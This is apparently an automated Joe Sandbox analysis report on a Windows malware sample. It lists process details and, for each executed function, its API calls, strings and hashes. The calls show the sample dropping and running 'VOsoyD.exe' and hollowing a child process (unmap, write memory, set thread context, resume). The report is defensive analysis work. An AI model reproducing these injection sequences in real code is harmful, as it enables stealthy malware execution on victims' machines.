Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	20:01:12
Start date:	24/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	26.8%
Signature Coverage:	43.7%
Total number of Nodes:	142
Total number of Limit Nodes:	26

Executed Functions

Function 004ED044 Relevance: 33.4, APIs: 4, Strings: 15, Instructions: 171
fileprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 004ED223
WriteFile.KERNELBASE(00000000,FFF1D6AF,00003E00,?,00000000), ref: 004ED252
FindCloseChangeNotification.KERNELBASE(00000000), ref: 004ED256
WinExec.KERNEL32(?,00000005), ref: 004ED262

Strings

dleA, xrefs: 004ED0D0
WinE, xrefs: 004ED110
Clos, xrefs: 004ED129
Writ, xrefs: 004ED148
VOsoyD.exe, xrefs: 004ED1FD, 004ED200
lstr, xrefs: 004ED1A7
el32, xrefs: 004ED0FB
GetM, xrefs: 004ED0B6
GetT, xrefs: 004ED188
Kern, xrefs: 004ED0F4
.dll, xrefs: 004ED102
catA, xrefs: 004ED1AF
odul, xrefs: 004ED22D
athA, xrefs: 004ED199
Crea, xrefs: 004ED169

Memory Dump Source

Source File: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: File$ChangeCloseCreateExecFindNotificationWrite
String ID: .dll$Clos$Crea$GetM$GetT$Kern$VOsoyD.exe$WinE$Writ$athA$catA$dleA$el32$lstr$odul
API String ID: 2234911746-2256512766
Opcode ID: 483de7081ef2d0fb06daa6285eb811e3cec50ecd27bb1b558af1d0e5a8dbeb8a
Instruction ID: 02198441c0ca77c5c3a45d6572169a7a486e0d0887781b020a01f5c63b49adb4
Opcode Fuzzy Hash: 483de7081ef2d0fb06daa6285eb811e3cec50ecd27bb1b558af1d0e5a8dbeb8a
Instruction Fuzzy Hash: 57615E74D00255DBCF24CF95C984AAEF7B0BF48316F2482ABD505AB301C7389E81CB99

Function 022D0110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 022D0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 022D016C
CreateProcessA.KERNELBASE(?,00000000), ref: 022D0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 022D0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 022D0283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 022D029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022D02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 022D02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 022D0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 022D032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 022D0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022D03BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 022D03E1
ResumeThread.KERNELBASE(00000000), ref: 022D03ED
ExitProcess.KERNEL32(00000000), ref: 022D0412

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 90b65ab95304912e00991170202d4ce1f72f5d6e4cf1242e8cb2f2becc186b1a
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: EEB1D774A00209AFDB44CF98C895F9EBBB5FF88314F248158E908AB395D771AE41CF94

Function 006A37C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 006A37EE
Module32First.KERNEL32(00000000,00000224), ref: 006A380E

Memory Dump Source

Source File: 00000000.00000002.2035582084.00000000006A3000.00000040.00000020.00020000.00000000.sdmp, Offset: 006A3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a3000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: dd7285edf95070ee24cc5409cf222d08358fafccd913e8e60d28f4dcadcb831f
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 82F096312007206FD7203BF5A88DBAE76E9EF4B725F100568F642912C0DB74ED454E65

Function 00409460 Relevance: 52.7, APIs: 26, Strings: 4, Instructions: 175
filelibrarypipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetLastError.KERNEL32(00000000,75923020,759338D0,00000000,001756BA), ref: 00409482
SetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 00409491
DebugBreak.KERNEL32 ref: 00409493
SetCalendarInfoW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040949D
GetPrivateProfileIntA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004094AB
SetLastError.KERNEL32(00000000), ref: 004094B3
CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 004094C7
GetSystemWow64DirectoryW.KERNEL32(?,00000000), ref: 004094D7
GetStartupInfoA.KERNEL32(?), ref: 004094E2
InterlockedDecrement.KERNEL32(00000000), ref: 0040952B
SetConsoleWindowInfo.KERNEL32(00000000,00000000,?), ref: 00409536
GlobalUnfix.KERNEL32(?), ref: 0040953D
TerminateThread.KERNEL32(00000000,00000000), ref: 00409590
GetUserDefaultLCID.KERNEL32 ref: 00409592
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040959C
GetNamedPipeHandleStateA.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 004095BE
LoadLibraryA.KERNELBASE(msimg32.dll), ref: 0040961E
GetModuleHandleA.KERNEL32(yebufilalib), ref: 0040963D
SetDllDirectoryW.KERNEL32(00000000), ref: 00409645
FormatMessageW.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0040965F
SearchPathW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409671
VerifyVersionInfoA.KERNEL32(?,00000000,00000000,00000000), ref: 00409685
FindFirstChangeNotificationW.KERNEL32(Dudo cebofuzi,00000000,00000000), ref: 00409694
InterlockedExchange.KERNEL32(?,00000000), ref: 004096A1
GlobalUnfix.KERNEL32(00000000), ref: 004096A9
VerifyVersionInfoW.KERNEL32(?,00000000,00000000,00000000), ref: 004096BD

Strings

Dudo cebofuzi, xrefs: 0040968F
msimg32.dll, xrefs: 004095CB, 004095D0
yebufilalib, xrefs: 00409638
u7, xrefs: 004094E8

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: Info$ConsoleDirectoryErrorGlobalHandleInterlockedLastPrivateProfileUnfixVerifyVersion$BreakCalendarChangeCopyCursorDebugDecrementDefaultExchangeFileFindFirstFormatLibraryLoadMessageModuleNamedNotificationPathPipeSearchStartupStateStringSystemTerminateThreadUserWindowWow64Write
String ID: Dudo cebofuzi$msimg32.dll$yebufilalib$u7
API String ID: 3970377180-621095796
Opcode ID: bf44320fddbbb845512de419c6fa774ca8418801c54f2a5de0da37695a1cedf3
Instruction ID: 12e43775645f823bddf7c69e9930fa0e438d8837763f9cd3fe1a82466b77d29a
Opcode Fuzzy Hash: bf44320fddbbb845512de419c6fa774ca8418801c54f2a5de0da37695a1cedf3
Instruction Fuzzy Hash: 4C51A6322843C0ABF3209BA4ED46F9A37A4A748B01F544539F785BA5F1C7F46944CB6E

Function 0040A940 Relevance: 18.1, APIs: 12, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoW.KERNEL32(?,87B941C3), ref: 0040A987
_check_managed_app.LIBCMTD ref: 0040A9BC
__heap_init.LIBCMTD ref: 0040A9C6

Part of subcall function 00411AA0: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0040A9CB,00000001), ref: 00411AB6

_fast_error_exit.LIBCMTD ref: 0040A9D4

Part of subcall function 0040AB20: ___crtExitProcess.LIBCMTD ref: 0040AB44

__mtinit.LIBCMTD ref: 0040A9DC
_fast_error_exit.LIBCMTD ref: 0040A9E7
__RTC_Initialize.LIBCMTD ref: 0040A9F9
___crtGetEnvironmentStringsW.LIBCMTD ref: 0040AA22
___wsetargv.LIBCMTD ref: 0040AA2C
__wsetenvp.LIBCMTD ref: 0040AA3F
__cinit.LIBCMTD ref: 0040AA54
__wwincmdln.LIBCMTD ref: 0040AA71

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInfoInitializeProcessStartupStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 104951373-0
Opcode ID: b3ca7e634b33347e1e08e992430158317be630a6c9e1989547a00aafd42ceece
Instruction ID: 23470444d9fe61e8dddebac4fb2744a386a3a6012d6ed4adf35f7bda5042d8be
Opcode Fuzzy Hash: b3ca7e634b33347e1e08e992430158317be630a6c9e1989547a00aafd42ceece
Instruction Fuzzy Hash: 7C4171B1E403089BDB10EFA29D02B9E76B4AB04318F10053FE915BB2D2E6795914CB9B

Function 0040A9B5 Relevance: 16.6, APIs: 11, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0040A9BC
__heap_init.LIBCMTD ref: 0040A9C6

Part of subcall function 00411AA0: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0040A9CB,00000001), ref: 00411AB6

_fast_error_exit.LIBCMTD ref: 0040A9D4

Part of subcall function 0040AB20: ___crtExitProcess.LIBCMTD ref: 0040AB44

__mtinit.LIBCMTD ref: 0040A9DC
_fast_error_exit.LIBCMTD ref: 0040A9E7
__RTC_Initialize.LIBCMTD ref: 0040A9F9
___crtGetEnvironmentStringsW.LIBCMTD ref: 0040AA22
___wsetargv.LIBCMTD ref: 0040AA2C
__wsetenvp.LIBCMTD ref: 0040AA3F
__cinit.LIBCMTD ref: 0040AA54
__wwincmdln.LIBCMTD ref: 0040AA71

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 2562088257-0
Opcode ID: d9145e836d2eaee4c787974b43559b13b14b1da231d92d469dd5222f740a641b
Instruction ID: f6a2cc38c6e543eb2cb4dc0f5f650794948f6aafb2ee3063665dce4654320489
Opcode Fuzzy Hash: d9145e836d2eaee4c787974b43559b13b14b1da231d92d469dd5222f740a641b
Instruction Fuzzy Hash: 4D3134B1E413099AEB10BFB2A90279E72606B1434CF10053FE9097B2D3F6795954CB5B

Function 022D0420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 022D0533

Strings

0, xrefs: 022D0492
saodkfnosa9uin, xrefs: 022D04DA
d, xrefs: 022D0584
mfoaskdfnoa, xrefs: 022D0520, 022D0523

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 6545883a862ebabbc49a89aa33e0d35b675b6047bd950d266f89fb83c0dc73f1
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 66511770D08388DAEB11CBE8C849BDDBFB2AF11708F144058D5487F29AC3BA5658CB66

Function 00409380 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36
librarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(msimg32.dll,?,00409AA3), ref: 004093DD
VirtualProtect.KERNELBASE(?,00091098,00000040,00000000,?,00409AA3), ref: 0040942D

Strings

msimg32.dll, xrefs: 00409385

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID: msimg32.dll
API String ID: 3279857687-3287713914
Opcode ID: df0e00179fb955a0d4c10471cdb3a3e2c126693f0ddf946c4b755eaa4bb12d36
Instruction ID: b00ed3ba96f2a53d4e637aaa876f44c9d9e82a4244e38ba94fe360cd8438e032
Opcode Fuzzy Hash: df0e00179fb955a0d4c10471cdb3a3e2c126693f0ddf946c4b755eaa4bb12d36
Instruction Fuzzy Hash: F31193A51493C0CFE382CB3CBD587423FA55326708F4C52A9D1818A2B3C2AA0978C77F

Function 022D05B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 022D05EC

Strings

o, xrefs: 022D0600
apfHQ, xrefs: 022D05E2, 022D05E5

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 7c25e6a18b896687c7e2a3348ca1215f02b86f5ff7b3dcfe5f6205572b56e54a
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 09012C70C0425DEEDF10DBE8C5187AEBFB5AF41308F1480D9C4092B252D7B69B98CBA2

Function 0040A920 Relevance: 1.5, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___security_init_cookie.LIBCMTD ref: 0040A925

Part of subcall function 0040A940: GetStartupInfoW.KERNEL32(?,87B941C3), ref: 0040A987
Part of subcall function 0040A940: _check_managed_app.LIBCMTD ref: 0040A9BC
Part of subcall function 0040A940: __heap_init.LIBCMTD ref: 0040A9C6
Part of subcall function 0040A940: _fast_error_exit.LIBCMTD ref: 0040A9D4
Part of subcall function 0040A940: __mtinit.LIBCMTD ref: 0040A9DC
Part of subcall function 0040A940: _fast_error_exit.LIBCMTD ref: 0040A9E7
Part of subcall function 0040A940: __RTC_Initialize.LIBCMTD ref: 0040A9F9
Part of subcall function 0040A940: ___crtGetEnvironmentStringsW.LIBCMTD ref: 0040AA22
Part of subcall function 0040A940: ___wsetargv.LIBCMTD ref: 0040AA2C
Part of subcall function 0040A940: __wsetenvp.LIBCMTD ref: 0040AA3F
Part of subcall function 0040A940: __cinit.LIBCMTD ref: 0040AA54
Part of subcall function 0040A940: __wwincmdln.LIBCMTD ref: 0040AA71

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: _fast_error_exit$EnvironmentInfoInitializeStartupStrings___crt___security_init_cookie___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 1121186130-0
Opcode ID: f531b0b4c4615b780cca53589e0368a575a3c175001ff33ae6c18d0542cb96dd
Instruction ID: ddde3546c4e34505c777e186dfae8e2f538a0ed6df604218810d6d559d1379f6
Opcode Fuzzy Hash: f531b0b4c4615b780cca53589e0368a575a3c175001ff33ae6c18d0542cb96dd
Instruction Fuzzy Hash: 7CA0223200030C02000033E32003C0A320C08C033C38200ABB30C220030C3CA8A000AF

Function 006A3485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 006A34D6

Memory Dump Source

Source File: 00000000.00000002.2035582084.00000000006A3000.00000040.00000020.00020000.00000000.sdmp, Offset: 006A3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a3000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: ac872fa4a30a17b929d1a723b0737d43d43234b2550e9be2da0a732dcc0a9881
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: EC112B79A00208EFDB01DF98C985E99BBF5AF09350F058094F9489B362D371EA90DF94

Function 00409440 Relevance: 1.3, APIs: 1, Instructions: 6
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNELBASE(00000000,00091098,004099C6), ref: 00409448

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: f8d8cd0253c0db4f4f1336db314e37c8c015f9c4ffe1ac75258b85af28fabfcb
Instruction ID: bf816043057f25637dab1eecf052d5123a48830106f53888445fc66fa6acaba2
Opcode Fuzzy Hash: f8d8cd0253c0db4f4f1336db314e37c8c015f9c4ffe1ac75258b85af28fabfcb
Instruction Fuzzy Hash: 41B092B41402809BE340ABA0AE54B2036A4A349303F0000A5BA0885AB0C73104408A28

Non-executed Functions

Function 004096F5 Relevance: 142.1, APIs: 60, Strings: 21, Instructions: 348timethreadfileCOMMON

Download Yara Rule

APIs

_putc.LIBCMTD ref: 004096F9

Part of subcall function 0040A600: __errno.LIBCMTD ref: 0040A66F
Part of subcall function 0040A600: __invalid_parameter.LIBCMTD ref: 0040A68D

__wrename.LIBCMTD ref: 00409702

Part of subcall function 0040A5B0: MoveFileA.KERNEL32(?,?), ref: 0040A5BE
Part of subcall function 0040A5B0: GetLastError.KERNEL32 ref: 0040A5C8

Part of subcall function 0040A000: _doexit.LIBCMTD ref: 0040A00D

GetBinaryTypeW.KERNEL32(00000000,?), ref: 0040973F
GetConsoleAliasExesA.KERNEL32(?,00000000), ref: 0040974B
BuildCommDCBAndTimeoutsW.KERNEL32(vomejuxozuvisuweviw,?,?), ref: 00409772
GetNumberFormatA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000), ref: 00409786
WriteConsoleOutputCharacterA.KERNEL32(00000000,00000000,00000000,?,?), ref: 004097A3
FindNextVolumeMountPointA.KERNEL32(00000000,?,00000000), ref: 004097B2
FillConsoleOutputCharacterW.KERNEL32(00000000,00000000,00000000,?,?), ref: 004097D3
GetNamedPipeHandleStateA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004097E7
SetProcessShutdownParameters.KERNEL32(00000000,00000000), ref: 004097F1
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 004097F9
GetFileSizeEx.KERNEL32(00000000,?), ref: 00409806
OpenFileMappingW.KERNEL32(00000000,00000000,00000000), ref: 00409812
OpenWaitableTimerW.KERNEL32(00000000,00000000,00000000), ref: 0040981E
CharUpperW.USER32(00000000), ref: 00409870
GetLastError.KERNEL32 ref: 00409872
OpenMutexA.KERNEL32(00000000,00000000,segokehap), ref: 004098B0
WriteProfileStringA.KERNEL32(Regefiri,Hagavete buyihexinag remibumepupabo gojokekisila,Vefu mif kaxigija puhirege puwuf), ref: 004098C1
EnumSystemLocalesA.KERNEL32(00000000,00000000), ref: 00409913
GetSystemTimeAdjustment.KERNEL32(00000000,00000000,00000000), ref: 0040991B
DebugBreak.KERNEL32 ref: 0040991D
MoveFileWithProgressW.KERNEL32(nahipumoraxeyur,lulecaxitejewutubenopevinemezimevoxiv,00000000,00000000,00000000), ref: 00409933
GetCommState.KERNEL32(00000000,00000000), ref: 00409939
CreateMailslotW.KERNEL32(00000000,?,00000000,00000000), ref: 00409946
WriteConsoleInputA.KERNEL32(00000000,00000000,00000000,?), ref: 00409957
GetConsoleAliasExesLengthA.KERNEL32 ref: 0040995D
SetComputerNameA.KERNEL32(tusidisipilujawudimu), ref: 00409968
GlobalGetAtomNameW.KERNEL32(00000000,00000000,00000000), ref: 00409974
AllocConsole.KERNEL32 ref: 0040997A
CreateIoCompletionPort.KERNEL32(00000000,00000000,00000000,00000000), ref: 00409988
GetConsoleCP.KERNEL32 ref: 0040998E
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00409996
LockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 004099A6
SetProcessPriorityBoost.KERNEL32(00000000,00000000), ref: 004099DB
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00409A21
ConvertFiberToThread.KERNEL32 ref: 00409A30
QueryDepthSList.KERNEL32(?), ref: 00409A3F
DeleteCriticalSection.KERNEL32(?), ref: 00409A46
